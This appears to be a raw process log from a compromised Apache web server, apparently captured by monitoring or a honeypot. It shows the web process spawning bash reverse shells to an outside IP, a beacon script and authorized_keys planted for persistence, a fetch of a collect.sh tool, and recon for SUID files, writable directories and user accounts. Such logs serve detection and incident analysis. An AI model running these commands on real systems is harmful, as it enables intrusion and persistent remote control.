2026-10-31 00:27:47185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentapache2 -> shsh -c -- [ -e /tmp/.c1422 ]||{ >/tmp/.c1422;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42425 0>&1' & }
2026-10-31 00:27:47185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentapache2 -> setsidbash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; setsid bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60 ; nohup /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; curl -sS -o /dev/null -w %{http_code}\n http://206.245.153.56:8088/ ; php -S 0.0.0.0:45454 -t /tmp/probe ; setsid php -S 0.0.0.0:45454 -t /tmp/probe ; php -S 0.0.0.0:45454 -t /tmp/probe ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; dpkg-query --list -- ; dpkg-query --list -- ; dpkg-query --list -- ; dpkg-query --list -- ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w deb:%{http_code}\n http://deb.debian.org/debian/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w cf:%{http_code}\n http://1.1.1.1/ ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; curl -sS -o /dev/null -w c2:%{http_code}\n http://206.245.153.56:8088/tools/collect.sh ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42425 0>&1 ; sleep 60
2026-10-31 00:28:17185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashbash -i
2026-10-31 00:28:28185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashmkdir -p /var/www/.ssh
2026-10-31 00:28:37185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashchmod +x /tmp/beacon.sh
2026-10-31 00:28:37185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -f /tmp/beacon.sh
2026-10-31 00:28:37185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashbase64 -d
2026-10-31 00:28:37185.184.222.160, 206.245.153.56206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashchmod 600 /var/www/.ssh/authorized_keys
2026-10-31 00:31:31185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-31 00:31:39185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /var/www /var/www/html /root /etc/ssh
2026-10-31 00:31:39185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /etc/os-release
2026-10-31 00:31:56185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -l /run/docker.sock
2026-10-31 00:31:56185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashdf -h
2026-10-31 00:31:56185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/route
2026-10-31 00:32:02185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind / -maxdepth 2 -writable -not -path /proc/* -not -path /sys/*
2026-10-31 00:32:02185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind / -xdev -maxdepth 3 -type d -perm -0777 -not -path /proc/* -not -path /sys/*
2026-10-31 00:32:02185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www/html
2026-10-31 00:32:08185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind / -xdev -maxdepth 3 -type d -perm -0070 -group www-data -not -path /proc/*
2026-10-31 00:32:08185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /etc/cron.d /etc/apache2 /usr/local/bin /app
2026-10-31 00:32:15185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /etc/cron.d /etc/apache2 /usr/local/bin /app /srv
2026-10-31 00:32:23185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /var/www/html/includes
2026-10-31 00:32:43185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/tcp
2026-10-31 00:33:00185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /etc/cron.d
2026-10-31 00:33:05185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -l /usr/sbin/sshd /usr/bin/ssh
2026-10-31 00:33:05185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind / -xdev -perm -4000 -type f
2026-10-31 00:33:26185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -l /etc/passwd /etc/shadow /etc/group
2026-10-31 00:33:26185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcut -d: -f1,3,6 /etc/passwd
2026-10-31 00:34:07185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -l /etc/passwd /etc/shadow
2026-10-31 00:34:07185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind /usr/bin /usr/sbin /bin -perm -4000
2026-10-31 00:34:07185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind /usr/bin /usr/sbin /bin -perm -4000
2026-10-31 00:34:28185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /proc/net/tcp
2026-10-31 00:34:33185.184.222.160, 206.245.153.56206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashfind / -xdev -writable -not -path /proc/* -not -path /sys/* -not -path /tmp/*
2026-10-31 00:35:21185.184.222.160, 206.245.153.56206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-31 00:35:37185.184.222.160, 206.245.153.56206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /var/cache/apache2/mod_cache_disk /var/log/apache2 /var/tmp
2026-10-31 00:35:37185.184.222.160, 206.245.153.56206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashdpkg -l
2026-10-31 00:35:37185.184.222.160, 206.245.153.56206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -ld /run /run/systemd
2026-10-31 00:37:24185.184.222.160, 206.245.153.56206.245.153.56: 00:35:20 to 00:36:20 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:27:40 to 00:31:35 UTC, 2 POST to /, 8.4 MB sent; 206.245.153.56: 00:26:16 to 00:26:22 UTC, 2 POST to /, 8.5 MB sent; 185.184.222.160: 00:22:39 to 00:22:51 UTC, 2 POST to /, 8.5 MB sentbash -> bashcat /etc/resolv.conf
2026-10-31 00:39:28185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentapache2 -> apache2sh -c -- [ -e /tmp/.c1425 ]||{ >/tmp/.c1425;setsid bash -c 'bash -i >&/dev/tcp/206.245.153.56/42428 0>&1' & }
2026-10-31 00:39:47185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashbash -i
2026-10-31 00:39:47185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentapache2 -> shsetsid bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; nohup /tmp/beacon.sh ; /tmp/beacon.sh ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1
2026-10-31 00:41:01185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashchmod 600 /var/www/.ssh/authorized_keys
2026-10-31 00:41:01185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashmkdir -p /var/www/.ssh
2026-10-31 00:43:21185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashbase64 -d
2026-10-31 00:43:21185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashchmod +x /tmp/beacon.sh
2026-10-31 00:43:21185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashsleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1 ; sleep 60 ; bash -c bash -i >&/dev/tcp/206.245.153.56/42428 0>&1
2026-10-31 00:43:21185.184.222.160, 206.245.153.56206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashpgrep -f /tmp/beacon.sh
2026-10-31 01:01:3223.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashid
2026-10-31 01:01:3223.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashuname -a
2026-10-31 01:01:4223.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashcat /etc/os-release
2026-10-31 01:02:1423.234.81.67, 185.184.222.160, 206.245.153.56206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:39:22 to 00:40:58 UTC, 2.0 MB sent; 206.245.153.56: 00:39:22 to 00:39:27 UTC, 1 POST to /, 8.2 MB sent; 206.245.153.56: 00:38:04 to 00:38:12 UTC, 1 POST to /, 2.8 MB sent; 206.245.153.56: 00:38:04 to 00:38:09 UTC, 1 POST to /, 7.1 MB sent; 185.184.222.160: 00:35:37 to 00:35:45 UTC, 1 POST to /, 4.3 MB sent; 185.184.222.160: 00:35:32 to 00:35:37 UTC, 1 POST to /, 3.2 MB sent; 185.184.222.160: 00:35:27 to 00:35:32 UTC, 1 POST to /, 2.1 MB sent; 185.184.222.160: 00:35:23 to 00:35:27 UTC, 1 POST to /, 1.1 MB sentbash -> bashgetent passwd www-data
